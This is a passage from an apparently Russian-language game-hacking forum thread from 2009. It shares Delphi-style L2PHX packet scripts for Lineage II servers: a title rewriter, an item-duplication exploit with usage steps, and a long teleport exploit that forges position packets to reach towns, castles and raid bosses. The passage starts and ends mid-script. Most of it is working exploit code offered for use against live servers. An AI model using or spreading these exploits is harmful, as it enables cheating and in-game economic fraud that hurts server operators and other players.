if FromServer and (pck[1]=#$31) then
begin
i:=22;
Name:=ReadS(i);
i:=i+8;
ClassID:=ReadD(i);
i:=i+260;
part1:= copy(pck,1,i-1); //копируем пакет до титла в буфеr

Title:=ReadS(i);
case ClassID of
0:class:='H_Fighter';
1:class:='H_Warrior';
2:class:='H_Gladiator';
88:class:='H_Duelist';
3:class:='H_Warlord';
89:class:='H_Dreadnought';
4:class:='H_Knight';
5:class:='H_Paladin';
90:class:='H_PhoenixKnight';
6:class:='H_DarkAvenger';
91:class:='H_HellKnight';
7:class:='H_Rogue';
8:class:='H_TreasureHunter';
93:class:='H_Adventurer';
9:class:='H_Hawkeye';
92:class:='H_Sagittarius';
10:class:='H_Mage';
11:class:='H_Wizard';
12:class:='H_Sorceror';
94:class:='H_Archmage';
13:class:='H_Necromancer';
95:class:='H_Soultaker';
14:class:='H_Warlock';
96:class:='H_ArcanaLord';
15:class:='H_Cleric';
16:class:='H_Bishop';
97:class:='H_Cardinal';
17:class:='H_Prophet';
98:class:='H_Hierophant';
18:class:='E_Fighter';
19:class:='E_Knight';
20:class:='E_TempleKnight';
99:class:='E_EvaTemplar';
21:class:='E_SwordSinger';
22:class:='E_Scout';
23:class:='E_PlainsWalker';
101:class:='E_WindRider';
24:class:='E_SilverRanger';
102:class:='E_MoonlightSentinel';
25:class:='E_Mage';
26:class:='E_Wizard';
27:class:='E_SpellSinger';
103:class:='E_MysticMuse';
28:class:='E_ElementalSummoner';
104:class:='E_ElementalMaster';
29:class:='E_Oracle';
30:class:='E_Elder';
105:class:='E_EvaSaint';
31:class:='DE_Fighter';
32:class:='DE_PaulusKnight';
33:class:='DE_ShillienKnight';
106:class:='DE_ShillienTemplar';
34:class:='DE_BladeDancer';
107:class:='DE_SpectralDancer';
35:class:='DE_Assassin';
36:class:='DE_AbyssWalker';
108:class:='DE_GhostHunter';
37:class:='DE_PhantomRanger';
109:class:='DE_GhostSentinel';
38:class:='DE_Mage';
39:class:='DE_DarkWizard';
40:class:='DE_Spellhowler';
110:class:='DE_StormScreamer';
41:class:='DE_PhantomSummoner';
111:class:='DE_SpectralMaster';
42:class:='DE_ShillienOracle';
43:class:='DE_ShillienElder';
112:class:='DE_ShillienSaint';
44:class:='O_Fighter';
45:class:='O_Raider';
46:class:='O_Destroyer';
113:class:='O_Titan';
47:class:='O_Monk';
48:class:='O_Tyrant';
114:class:='O_GrandKhauatari';
49:class:='O_Mage';
50:class:='O_Shaman';
51:class:='O_Overlord';
115:class:='O_Dominator';
52:class:='O_Warcryer';
116:class:='O_Doomcryer';
53:class:='D_Fighter';
54:class:='D_Scavenger';
55:class:='D_BountyHunter';
117:class:='D_FortuneSeeker';
56:class:='D_Artisan';
57:class:='D_Warsmith';
118:class:='D_Maestro';

123:class:='Kamael Soldier M';
124:class:='Kamael Soldier F';
125:class:='Trooper';
126:class:='Warder';
127:class:='Berserker';
128:class:='Male Soulbreaker';
129:class:='Female Souldbreaker';
130:class:='Arbalester';
131:class:='Doombringer';
132:class:='Male Soulhound';
133:class:='Female Soulhound';
134:class:='Trickster';
135:class:='Inspector';
136:class:='Judicator';
end;

part2:=Copy(pck,i,length(pck)-i);
buf:=part1;
WriteS(''+class+'');
buf:=buf+part2;
pck:=buf;
end;
end.

Федя
12.07.2009, 22:29
Автоматизация старого дюпа ц4 [Ссылки могут видеть только зарегистрированные и активированные пользователи] видео не моё
1.поставить чара на продажу стопковых итомов,по 1 адене и включить скрипт на этого чара
2.покупить 1 итом,удалить
3.грац вы дюпнули
4.когда 3 раза дюпнули,делаем рестарт чаром,которым покупаем
*Lagam.net работало 2-3 месеца назад

//копирование запрещено 4it-master ^^
var
Data0, Data1, Data2, Data3, Data4: Integer;

begin
if FromServer and (pck[1]=#$9B) then
begin
Data0 := ReadD(30);
end
else
if FromClient and (pck[1]=#$79) then
begin
buf:=pck;
Data1 := ReadD(2);
Data2 := ReadD(6);
Data3 := ReadD(10);
Data4 := ReadD(14);
Data0 := Data0 - Data4;
SendToServer;

buf:=#$79;
WriteD(Data1);
WriteD(3);
WriteD(Data3);
WriteD(Data0);
WriteD(1);
WriteD(Data3);
WriteD(Data0);
WriteD(1);
WriteD(Data3);
WriteD(Data0);
WriteD(1);
SendToServer;
end;
end.

Catchy
14.07.2009, 21:34
Скрипт на телепортацию 1.Выделяем себя 2.пишем .XXX где XXX город или место(подробней в скрипте) 3.после тп юзаем любой скилл (Dush, Shield...)
Данный скрипт для интерлюда! (там где кривая геодата)
Пробовал скрипт только на l2phx.3.5.13.122. ([Ссылки могут видеть только зарегистрированные и активированные пользователи])

//Включить скрипт
//Взять себя в таргет
//ну и тп куда хочешь
//После того как тпшнулся нужна сделать какойто скилл..потому что ты для сервера еще на старом месте.

{Команды скрипта}
//******************===Квест на Валакаса===********************************
//.klein-телепорт к klein
//.hilda-телепорт к hilda
//.kgb-телепорт на поле для Vaculite Ore

//******************===Квест на Антараса===********************************
//.gabrielle-телепорт к Gabrielle
//.kaiena-телепорт к Kaiena
//.marsh-Поляна для дропа (Marsh Drake,Marsh Gargoyle)
//.chakiris-телепорт к Chakiris
//.hamrut-телепорт к Hamrut и Kranrot
//.orven-телпорт к Orven
//.bloody-телепорт к Blood Queen(Seal of Shilen)
//.kendra-телепорт к Kendra
//.harit-телепорт к Harit Lizardman (Matriarch & Shaman)
//.helton-телепорт к Helton
//.jewel2-телепорт к Abyss Jewel 2
//.moke-телепорт к Moke
//.jewel1-телепорт к Abyss Jewel 1
//.gilmore-телепорт к Gilmore
//.theodric-телепорт к Theodric тамже Cave Maiden и Cave Keeper

//******************===Квест на Баюма===********************************
//.hanellin-телепорт к Hanellin
//.lesser giant-телепорт к lesser giant
//.claudia-телепорт к Claudia Athebalt
//.martien-телепорт к Martien
//.harne-телепорт к Harne
//.sunduk1-телепорт к Holy Ark of Secrecy2 (Cemetry)
//.sunduk2-телепорт к Holy Ark of Secrecy3 (Tanor Canyon)
//.ark guard-телепорт к Ark Guard's Corspe (Сначало с ним говорим потом с сундуком)
//.sunduk3-телепорт к Holy Ark of Secrecy1 (Dark Forest)
//.healing-телепорт к Grocery Продавца (Healing Potion & Antidote)
//.treapka-телепорт к мобам (Platinum Tribe Shaman & Overlord)

//******************===ГОРОДА===******************** ************
//.gludio - телепорт в глудио
//.goddard - телепорт в годдард
//.aden - телепорт в аден
//.giran - телепорт в гиран
//.rune - телепорт в Руну
//.oren - телепорт в орен
//.heine - телепорт в Хейн
//.dion - телепорт в дион
//.schuttgart - телепорт в шутгарт
//.gludin - телепорт в глудин

//******************===ЗАМКИ===********************* ************
//.adencastle - Aden Замок (ТРОН)
//.runecastle - Rune Замок (ТРОН)
//.goddardcastle - Goddard Замок (ТРОН)
//.girancastle - Giran Замок (ТРОН)
//.orencastle - Oren Замок (ТРОН)
//.gludiocastle - Gludio Замок (ТРОН)
//.dioncastle - Dion Замок (ТРОН)
//.schuttgartcastle - Шутгарт Замок (ТРОН)
//.innadrilcastle - Innadril Замок (ТРОН)

//******************===ЛОКАЦИИ===******************* ************
//.dino - телепорт на дино остров
//.vos - телепорт в Valey OF Saints
//.varka - телепорт в Varka
//.mos - телепорт в Monastery Of Silence
//.ketra - телепорт в Ketra Ork

//*****************===РЭЙД БОССЫ===*****************************
//.aq - телепорт к Ант Квин
//.zaken - телепорт к Закену
//.baium - телепорт к Баюму
//.antharas - телепорт к Антарасу
//.valakas - телепорт к Валакасу
//.frintezza - телепорт к Фринтеза

//*****************===ДРУГИЕ МЕСТА===*****************************
//.olympiad - телепорт на арену
//.jail - телепорт в тюрьму
//.adencrest - телепорт на верхушку креста адена
//.vodopad - телепорт на водопад
//.coliseum - телепорт в колизей
//.farm-телепорт в Фарм Зону(Lineage2.gh-nt.ru)

//*****************===Noblesse Quest===*****************************
//.talien - Телепорт к Talien
//.gabrielle - Телепорт к Gabrielle
//.gilmore - Телепорт к Gilmore
//.baraham - Телепорт к Baraham
//.melodymaestro - Телепорт к MelodyMaestro
//.marluk - Телепорт в локацию (Marluk Succubus)
//.stedmiel - Телепорт к Stedmiel
//.virgil - Телепорт к Virgil ( Kasandra прямо рядом с ним)
//.rahorakti - Телепорт к Rahorakti
//.splinterstakato - Телепорт в локацию Crimson Moss
//.caradine - Телепорт к Caradine
//.noel - Телепорт к Noel
//.mdk - Телепорт к Mysterious Dark Knight
//.kalis - Телепорт к Kalis
//.matild - Телепорт к Matild
//.unicorn - Телепорт к Unicorn
//.jp Телепорт в локацию Judge & Pilgrim (ring and neklasse)
//.noblrb - телепорт к Ноблесс Рэйд Боссу
//.ladd - телепорт в Ivory Tower(К магистру Ladd)
const
//======================================
Name='UniSoul'; //**<-----Ник Персонажа-=
//======================================
var
// переменная
ValidatePosition:string; c:integer; e:integer; n:integer; r:boolean;
a:integer; b:boolean; d:integer; f:integer; v:integer;
procedure Init; //Вызывается при включении скрипта
begin
SendMsc('Возьми себя в таргет');
b:=false;
end;
procedure SendMsc(msc:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msc);
SendToClient;
end;
Begin
begin
if FromClient and (pck[1]=#$04)and (not b) then
begin
a:=ReadD(2); c:=ReadD(6);
d:=ReadD(10); e:=ReadD(14);
f:=ReadC(18);
SendMsc('Запомнен ObjectID = '+inttostr(a));
b:=true;
end;
end;
Begin
If fromclient and (pck=#$38#$2E#$00#$6F#$00#$6C#$00#$79#$00#$6D#$00# $70#$00#$69#$00#$61#$00#$64#$00#$00#$00#$00#$00#$0 0#$00) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ #$F0#$29#$FE#$FF#$C9#$90#$FC#$FF#$02#$F3#$FF#$FF;
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6C 00 75 00 64 00 69 00 6F 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ #$8E#$CE#$FF#$FF#$99#$DF#$01#$00#$D9#$F3#$FF#$FF;
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6F 00 64 00 64 00 61 00 72 00 64 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('CE 41 02 00 0E 28 FF FF 57 F5 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 64 00 65 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('89 3B 02 00 B0 64 00 00 23 F8 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 69 00 72 00 61 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('0A 43 01 00 9E 44 02 00 74 F2 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 72 00 75 00 6E 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('2A AB 00 00 7E 45 FF FF E7 FC FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 72 00 75 00 6E 00 65 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('11 28 00 00 12 40 FF FF ED FE FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 64 00 65 00 6E 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('F6 3F 02 00 2C 12 00 00 B1 FE FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6F 00 64 00 64 00 61 00 72 00 64 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('04 40 02 00 6E 43 FF FF 21 F7 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 69 00 72 00 61 00 6E 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('1B C7 01 00 C7 36 02 00 02 F6 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6F 00 72 00 65 00 6E 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('90 42 01 00 45 91 00 00 13 F7 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6C 00 75 00 64 00 69 00 6F 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('40 B9 FF FF 65 AB 01 00 45 F6 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 64 00 69 00 6F 00 6E 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('3A 56 00 00 60 72 02 00 83 F5 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 63 00 68 00 75 00 74 00 74 00 67 00 61 00 72 00 74 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('E0 2E 01 00 31 A9 FD FF 80 FE FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 69 00 6E 00 6E 00 61 00 64 00 72 00 69 00 6C 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('39 C5 01 00 09 CD 03 00 F2 FC FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6A 00 61 00 69 00 6C 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('E2 40 FE FF ED 30 FC FF 5B F4 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6F 00 72 00 65 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('91 41 01 00 63 D7 00 00 0C FA FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 68 00 65 00 69 00 6E 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('0B B2 01 00 89 57 03 00 2A F2 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 64 00 69 00 6F 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('3C 49 00 00 1D 38 02 00 C9 F3 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 68 00 75 00 74 00 74 00 67 00 61 00 72 00 74 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('3E 55 01 00 62 D5 FD FF C8 FA FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6C 00 75 00 64 00 69 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('89 BB FE FF 07 4D 02 00 C8 F3 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 64 00 69 00 6E 00 6F 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('E4 28 00 00 07 A0 FF FF C3 F1 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 64 00 65 00 6E 00 63 00 72 00 65 00 73 00 74 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('FF 41 02 00 A5 0F 00 00 FC 11 00 00');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 6F 00 64 00 6F 00 70 00 61 00 64 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('12 A9 02 00 93 62 01 00 33 07 00 00');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 6F 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('D6 18 01 00 39 96 FE FF 74 FA FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 61 00 72 00 6B 00 61 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('59 EA 01 00 18 60 FF FF 79 F1 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6D 00 6F 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('9D 9F 01 00 0E A9 FE FF 9D F4 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6B 00 65 00 74 00 72 00 61 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('0A 3E 02 00 C4 F8 FE FF B9 F1 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 63 00 6F 00 6C 00 69 00 73 00 65 00 75 00 6D 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('46 4A 02 00 8D B6 00 00 B1 F2 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 71 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('96 AB FF FF 5A C5 02 00 9F E9 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 7A 00 61 00 6B 00 65 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('10 D8 00 00 20 58 03 00 6E F3 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 62 00 61 00 69 00 75 00 6D 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('0D C2 01 00 EF 40 00 00 65 27 00 00');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 6E 00 74 00 68 00 61 00 72 00 61 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('6C D5 02 00 7A BE 01 00 E8 DF FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 61 00 6C 00 61 00 6B 00 61 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('88 43 03 00 14 3D FE FF 99 F9 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 66 00 72 00 69 00 6E 00 74 00 65 00 7A 00 7A 00 61 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('9E A8 02 00 44 A2 FE FF BD EB FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 74 00 61 00 6C 00 69 00 65 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('1F 41 02 00 FA 66 00 00 A4 F7 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 61 00 62 00 72 00 69 00 65 00 6C 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('89 3D 01 00 CF 48 02 00 74 F2 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 69 00 6C 00 6D 00 6F 00 72 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('DA 1D 01 00 DD CE 01 00 92 F1 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 62 00 61 00 72 00 61 00 68 00 61 00 6D 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('1F 53 00 00 70 D0 02 00 F5 F2 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6D 00 65 00 6C 00 6F 00 64 00 79 00 6D 00 61 00 65 00 73 00 74 00 72 00 6F 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('DC A1 01 00 8D 4F 03 00 F5 F1 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6D 00 61 00 72 00 6C 00 75 00 6B 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('F5 D1 01 00 DD C7 01 00 63 F1 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 74 00 65 00 64 00 6D 00 69 00 65 00 6C 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('44 D4 01 00 D4 2D 01 00 3D F7 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 69 00 72 00 67 00 69 00 6C 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('DA 80 00 00 9D 43 FF FF F5 06 00 00');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 72 00 61 00 68 00 6F 00 72 00 61 00 6B 00 74 00 69 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('B6 95 00 00 91 3F FF FF 98 FB FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 70 00 6C 00 69 00 6E 00 74 00 65 00 72 00 73 00 74 00 61 00 6B 00 61 00 74 00 6F 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('BD 24 01 00 AD 4A FF FF 63 F3 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 63 00 61 00 72 00 61 00 64 00 69 00 6E 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('7F 4A 02 00 D6 1D FF FF 5C F4 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6E 00 6F 00 65 00 6C 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('20 3C 02 00 45 1A FF FF 64 F4 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6D 00 64 00 6B 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('03 7B 01 00 F1 14 FF FF 5C F6 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6B 00 61 00 6C 00 69 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('63 74 01 00 AE 56 00 00 C0 F4 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6D 00 61 00 74 00 69 00 6C 00 64 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('D4 10 01 00 AF 46 00 00 B4 F1 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 75 00 6E 00 69 00 63 00 6F 00 72 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('7D 4F 01 00 0E D5 FE FF 6E F2 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6A 00 70 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('B0 47 01 00 10 C7 FE FF 4A F2 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6E 00 6F 00 62 00 6C 00 72 00 62 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('62 65 01 00 52 AF FE FF 66 F5 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6C 00 61 00 64 00 64 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('1D 4C 01 00 89 3E 00 00 0E F9 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
Begin
If fromclient and (pck=hstr('38 2E 00 66 00 61 00 72 00 6D 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('8B 45 01 00 C2 EB 03 00 9C D3 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6B 00 6C 00 65 00 69 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('5F CD 02 00 10 3F FE FF F6 F2 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 68 00 69 00 6C 00 64 00 61 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('E8 3B 02 00 AD 1A FF FF 62 F4 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6B 00 62 00 67 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('65 4C 02 00 B3 0C FF FF C5 F3 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 68 00 61 00 6E 00 65 00 6C 00 6C 00 69 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('D3 32 02 00 17 5C 00 00 B7 F7 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6C 00 65 00 73 00 73 00 65 00 72 00 20 00 67 00 69 00 61 00 6E 00 74 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('75 E0 02 00 48 F5 00 00 D2 E3 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 63 00 6C 00 61 00 75 00 64 00 69 00 61 00 00 00 00 00 00 00 ')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('E3 44 02 00 D1 41 00 00 E6 F9 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 75 00 6E 00 64 00 75 00 6B 00 31 00 00 00 00 00 00 00 ')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('C8 C4 02 00 E3 1B 00 00 58 F5 FF FF');
SendToClient;
buf:=#$30;
SendToServerEX(Name);
end;
end;
Begin
